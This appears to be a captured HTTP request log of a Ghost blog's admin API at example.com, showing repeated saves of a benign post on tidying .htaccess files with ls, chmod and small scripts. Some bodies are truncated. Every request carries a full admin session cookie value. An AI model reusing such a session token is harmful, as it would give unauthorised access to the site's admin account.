files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27python3%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8119", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/tags/?limit=100&order=name+asc&include=count.posts&filter=tags.name%3A%7E%27Shell+tips+%26+.htaccess%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8168", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8147", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
|
||||||
{"method": "GET", "target": "/ghost/assets/code-editor-view-BY_ieC4h.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-CxXAu_cv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-DbQ0Bmfy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-D9v2t9Oj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-DOtgfBo2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8206", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the 